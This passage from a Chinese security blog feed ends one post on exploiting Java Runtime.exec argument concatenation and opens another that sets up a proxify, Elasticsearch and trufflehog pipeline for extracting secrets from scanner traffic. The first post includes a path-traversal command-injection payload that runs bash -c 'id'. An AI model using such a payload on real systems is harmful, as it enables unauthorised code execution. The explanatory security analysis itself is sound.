src="https://wechat2rss.xlab.app/img-proxy/?k=1c6499fe&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FZiaGB6iaicqkWjFJrOKCImN8tAKTSvAPVhR1na7nYPUKicELR5JKZ24QxsbrkDiaVDrGSA1Ld0azzznl1hCgoqvnXBw%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p><figcaption style="text-align: center;line-height: 1.75;color: rgb(136, 136, 136);font-size: 0.8em;"></figcaption></figure><p style="white-space: normal;font-size: 14px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">可如果代码真如图所示的话，真的是这么做吗？能rce吗？需要审计login.sh吗？</p><p style="white-space: normal;font-size: 14px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">我认为不需要，因为login.sh后面没有空格就直接拼接了，拼接完后的文件名复杂化，大概率不存在，或文件内容不可控，审计个der。后面的参数又没办法作为sh的参数进行污染。</p><p style="white-space: normal;font-size: 14px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">怎么rce呢？很简单，想办法控制sh执行的文件指向一个存在“漏洞”或者说命令执行行为的sh文件，再污染他的参数即可。</p><pre style="letter-spacing: normal;color: rgb(88, 110, 117);background-color: rgb(253, 246, 227);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><p style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;">find / -type f -exec file {} + | grep &#34;shell script&#34;</p></pre><figure style="letter-spacing: normal;white-space: normal;font-size: 14px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-galleryid="" data-imgfileid="100000777" data-ratio="0.7462962962962963" data-s="300,640" style="text-align: center;" data-type="jpeg" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=3f7f6596&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FZiaGB6iaicqkWjFJrOKCImN8tAKTSvAPVhRpVRHFOuZekl7t6FwlqLib8nwZDzH8PPIh0lnOrbquUsULuwApBeU6NA%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/><figcaption style="text-align: center;line-height: 1.75;color: rgb(136, 136, 136);font-size: 0.8em;"></figcaption></figure><p style="white-space: normal;font-size: 14px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">很容易就看到/usr/bin/command这条命令实际上是一个bash脚本，语句做下简单的闭合即可完成命令注入。</p><pre style="letter-spacing: normal;color: rgb(88, 110, 117);background-color: rgb(253, 246, 227);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><p style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;">String payload = &#34;/../../../../../../../../../../../../../../../../../../../usr/bin/command bash -c &#39;id&#34;;String cmd = &#34;sh login.sh&#39;&#34; + payload + &#34;&#39;&#34;;Runtime rt = Runtime.getRuntime();rt.exec(cmd);</p></pre><p style="white-space: normal;font-size: 14px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">嗯，没错，有限制条件，就是得找个可以创建文件夹的点配合利用，在当前文件夹下创建login.sh&#39;这个目录，否则unix下../是没办法跨域过一个不存在的文件夹的。</p><h3 style="letter-spacing: normal;white-space: normal;text-align: left;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.1em;font-weight: bold;margin-top: 2em;margin-right: 8px;margin-bottom: 0.75em;padding-left: 8px;border-left-width: 3px;border-left-style: solid;border-left-color: rgb(15, 76, 129);color: rgb(63, 63, 63);">写在最后</h3><p style="white-space: normal;font-size: 14px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">这个有问题隔三差五就会在各个安全的群里看到有人问，成月经问题了。</p><p style="white-space: normal;font-size: 14px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">它很基础吗? 这个但凡挖过几次实战使用洞的人都肯定会知道。</p><p style="white-space: normal;font-size: 14px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">它不基础吗? 见过一堆搞了好多年了sdl的人讨论的时候将拼接后不能执行归咎于沙箱,归咎于rasp(环境中其实没这两因素); 也见过某些大厂的安全中台给别人出的考试题目里告诉研发没命令解释器执行ping命令也存在命令注入的风险。更别说群里问的新手(这种勉强可以理解)</p><p style="white-space: normal;font-size: 14px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">我的总结是，大部分人没有挖洞不需要实战，唬住研发和leader就行，不需要验证，自然就不会知道。</p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>


<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=6541059f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FZiaGB6iaicqkWjFJrOKCImN8tAKTSvAPVhRJPaXBbqrY5zj6G7CJmTun6HNqmGnGc2huDRQTS0ia2yICxknbzzYOlQ%2F640%3Fwx_fmt%3Djpeg"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=4b147d4e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FZiaGB6iaicqkWjFJrOKCImN8tAKTSvAPVhRrgAiaicuTQnA3IK1xQXmUsCeR1XJrwJsF6l0RqS2ib0ALf980c8s1aoWA%2F640%3Fwx_fmt%3Djpeg"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=5f50fa08&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FZiaGB6iaicqkWjFJrOKCImN8tAKTSvAPVhRicQEANa8GYFkq1OByiaibvBL09PIfsMByGDYFErQ0aWNGYaRmtibw8zxDA%2F640%3Fwx_fmt%3Djpeg"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=6b7d2edc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FZiaGB6iaicqkWjFJrOKCImN8tAKTSvAPVhR1na7nYPUKicELR5JKZ24QxsbrkDiaVDrGSA1Ld0azzznl1hCgoqvnXBw%2F640%3Fwx_fmt%3Djpeg"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=775eed79&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FZiaGB6iaicqkWjFJrOKCImN8tAKTSvAPVhRpVRHFOuZekl7t6FwlqLib8nwZDzH8PPIh0lnOrbquUsULuwApBeU6NA%2F640%3Fwx_fmt%3Djpeg"/></p>



<p><a href="2247484428">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=7bfc6fe2&amp;r=1&amp;u=http%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg5ODE3NTU1OQ%3D%3D%26mid%3D2247484428%26idx%3D1%26sn%3D8b48c4956fcea87b50468de66be2537d">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 12 Jul 2024 23:33:00 +0800</pubDate>
    </item>
    <item>
      <title>扫描器开发系列之敏感信息提取</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg5ODE3NTU1OQ==&amp;mid=2247484418&amp;idx=1&amp;sn=6c817b22ceb098263582d84d8f9b2298</link>
      <description>0x01 写在前面整体思路：在扫描器的上层代理(使用proxify)做流量镜像储存到es,通过kb做可视化,方</description>
      <content:encoded><![CDATA[<p>
原创 <span>duckbubi</span> <span>2024-07-05 21:56</span> <span style="display: inline-block;">北京</span>
</p>

<p>0x01 写在前面整体思路：在扫描器的上层代理(使用proxify)做流量镜像储存到es,通过kb做可视化,方</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=ae6a0dbe&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FZiaGB6iaicqkWgo1caeTr6atZAztglibEKSd9Ox3GtKkpSdRf0ovV2XPibaWe3Lubz9rL1kadEE2pia2nR0G1OlysheA%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<h3 style="letter-spacing: normal;white-space: normal;text-align: left;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.1em;font-weight: bold;margin-right: 8px;margin-bottom: 0.75em;padding-left: 8px;border-left-width: 3px;border-left-style: solid;border-left-color: rgb(15, 76, 129);color: rgb(63, 63, 63);">0x01 写在前面</h3><p style="white-space: normal;font-size: 14px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">整体思路：在扫描器的上层代理(使用proxify)做流量镜像储存到es,通过kb做可视化,方便做扫描器整体的流量回溯,敏感信息识别等(使用trufflehog)</p><ol style="letter-spacing: normal;white-space: normal;font-size: 14px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;padding-left: 1em;color: rgb(63, 63, 63);" class="list-paddingleft-1"><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>1. 这是剥离出来,通用的方案。如果自己的扫描器需要缝合proxify和trufflehog的话,还有非常多的bug fix的活得干,当然也可以选择将结果输出至自己的系统即可。</p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>2. 该方案一行代码也不需要写(bash不算.)</p></li></ol><h3 style="letter-spacing: normal;white-space: normal;text-align: left;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.1em;font-weight: bold;margin-top: 2em;margin-right: 8px;margin-bottom: 0.75em;padding-left: 8px;border-left-width: 3px;border-left-style: solid;border-left-color: rgb(15, 76, 129);color: rgb(63, 63, 63);">0x02 方案介绍</h3><p style="white-space: normal;font-size: 14px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><strong style="line-height: 1.75;color: rgb(15, 76, 129);">ES部署</strong></p><p style="white-space: normal;font-size: 14px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">密码根据自己的需求设置，版本需要选择7.x是因为proxify用的依赖也是7.x的版本，如果需要用更高版本的需要自己修改并重新编译下proxify</p><pre style="letter-spacing: normal;color: rgb(88, 110, 117);background-color: rgb(253, 246, 227);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><p style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;">docker run -d --name elasticsearch -p 9200:9200 -p 9300:9300 \  -e &#34;discovery.type=single-node&#34; \  -e &#34;xpack.security.enabled=true&#34; \  -e &#34;ELASTIC_PASSWORD=jjfujj&#34; \  docker.elastic.co/elasticsearch/elasticsearch:7.17.10</p></pre><p style="white-space: normal;font-size: 14px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><strong style="line-height: 1.75;color: rgb(15, 76, 129);">proxify配置<span style="display: none;line-height: 0px;">‍</span><span style="display: none;line-height: 0px;">‍</span><span style="display: none;line-height: 0px;">‍</span><span style="display: none;line-height: 0px;">‍</span><span style="display: none;line-height: 0px;">‍</span><span style="display: none;line-height: 0px;">‍</span><span style="display: none;line-height: 0px;">‍</span><span style="display: none;line-height: 0px;">‍</span><span style="display: none;line-height: 0px;">‍</span><span style="display: none;line-height: 0px;">‍</span></strong></p><p style="white-space: normal;font-size: 14px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">选择0.0.13版本,新版本bug挺多,选新版本需要自己fix下。</p><pre style="letter-spacing: normal;color: rgb(88, 110, 117);background-color: rgb(253, 246, 227);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><p style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;"><a href="https://github.com/projectdiscovery/proxify/releases/tag/v0.0.13" target="_blank">https://github.com/projectdiscovery/proxify/releases/tag/v0.0.13</a></p></pre><p style="white-space: normal;font-size: 14px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">配置proxify流量储存到es</p><pre style="letter-spacing: normal;color: rgb(88, 110, 117);background-color: rgb(253, 246, 227);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><p style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;">❯ cat ~/.config/proxify/export-config.yamlkafka:  addr:&#34;&#34;  topic:&#34;&#34;elastic:  addr:&#34;127.0.0.1:9200&#34;  ssl:false  ssl-verification:false  username:&#34;elastic&#34;  password:&#34;jjfujj&#34;  index-name: &#34;jj&#34;</p></pre><p style="white-space: normal;font-size: 14px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">启动</p><pre style="letter-spacing: normal;color: rgb(88, 110, 117);background-color: rgb(253, 246, 227);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><p style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;">./proxify -store-resposne=/tmp/proxify_logs/</p></pre><p style="white-space: normal;font-size: 14px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><strong style="line-height: 1.75;color: rgb(15, 76, 129);">trufflehog配置</strong></p><p style="white-space: normal;font-size: 14px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">下载最新版即可,他是支持直接扫描es的,支持的es是8.x,和上面冲突,且es扫描也有bug需要修,这也是上面为什么让proxify吐出来一份响应的原因。</p><pre style="letter-spacing: normal;color: rgb(88, 110, 117);background-color: rgb(253, 246, 227);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><p style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;"><a href="https://github.com/trufflesecurity/truffleHog" target="_blank">https://github.com/trufflesecurity/truffleHog</a></p></pre><p style="white-space: normal;font-size: 14px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">敏感信息扫描以及通知</p><pre style="letter-spacing: normal;color: rgb(88, 110, 117);background-color: rgb(253, 246, 227);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><p style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;">./trufflehog filesystem /tmp/proxify_logs/ --no-verification --json | jq -r -c &#39;{rule_name:.DetectorName,data:.Raw,filepath:.SourceMetadata.Data.Filesystem.file}&#39; | while read result; do curl -H &#34;Content-Type: application/json&#34; -d $&#39;{&#34;msgtype&#34;:&#34;markdown&#34;, &#34;markdown&#34;:{&#34;content&#34;:&#34;bingo:&#39;&#34;${result//\&#34;/\\\&#34;}&#34;&#39;&#34;}}&#39; &#39;<a href="https://qyapi.weixin.qq.com/cgi-bin/webhook/send?key=XXXXXXX" target="_blank">https://qyapi.weixin.qq.com/cgi-bin/webhook/send?key=XXXXXXX</a>&#39;; done</p></pre><p style="white-space: normal;font-size: 14px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">定时通知扫描并清理proxify日志</p><pre style="letter-spacing: normal;color: rgb(88, 110, 117);background-color: rgb(253, 246, 227);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><p style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;">*/2 * * * * /path/to/trufflehog.sh*/2 * * * * find /tmp/proxify_logs/ -type f -mmin +5 -exec rm -f {} \;</p></pre><p style="white-space: normal;font-size: 14px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><strong style="line-height: 1.75;color: rgb(15, 76, 129);">可视化</strong></p><pre style="letter-spacing: normal;color: rgb(88, 110, 117);background-color: rgb(253, 246, 227);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><p style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;">docker run -d -p 5601:5601 -e &#34;ELASTICSEARCH_USERNAME=elastic&#34; \  -e &#34;ELASTICSEARCH_PASSWORD=jjfujj&#34; \  --link elasticsearch:elasticsearch \  docker.elastic.co/kibana/kibana:7.17.10</p></pre><h3 style="letter-spacing: normal;white-space: normal;text-align: left;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.1em;font-weight: bold;margin-top: 2em;margin-right: 8px;margin-bottom: 0.75em;padding-left: 8px;border-left-width: 3px;border-left-style: solid;border-left-color: rgb(15, 76, 129);color: rgb(63, 63, 63);">0x03 功能验证</h3><p style="white-space: normal;font-size: 14px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">trufflehog提供了非常多敏感信息验证代码</p><pre style="letter-spacing: normal;color: rgb(88, 110, 117);background-color: rgb(253, 246, 227);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><p style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;">cd trufflehog/pkg/sources/</p><div><p style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;">python3 -m http.server 8889</p></div><div><p style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;"></p></div><div><p style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;">#测试浏览走proxify代理进行验证<span style="display: none;line-height: 0px;">‍</span><span style="display: none;line-height: 0px;">‍</span><span style="display: none;line-height: 0px;">‍</span><span style="display: none;line-height: 0px;">‍</span><span style="display: none;line-height: 0px;">‍</span></p></div><p style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;">curl -x &#39;<a href="http://127.0.0.1:8888" target="_blank">http://127.0.0.1:8888</a>&#39; &#39;<a href="http://127.0.0.1:8889/git_test.go" target="_blank">http://127.0.0.1:8889/git_test.go</a>&#39;</p></pre><figure style="letter-spacing: normal;white-space: normal;font-size: 14px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"></figure><figure style="letter-spacing: normal;white-space: normal;font-size: 14px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-imgfileid="100000760" data-ratio="0.5342592592592592" data-s="300,640" style="" data-type="jpeg" data-w="1080" 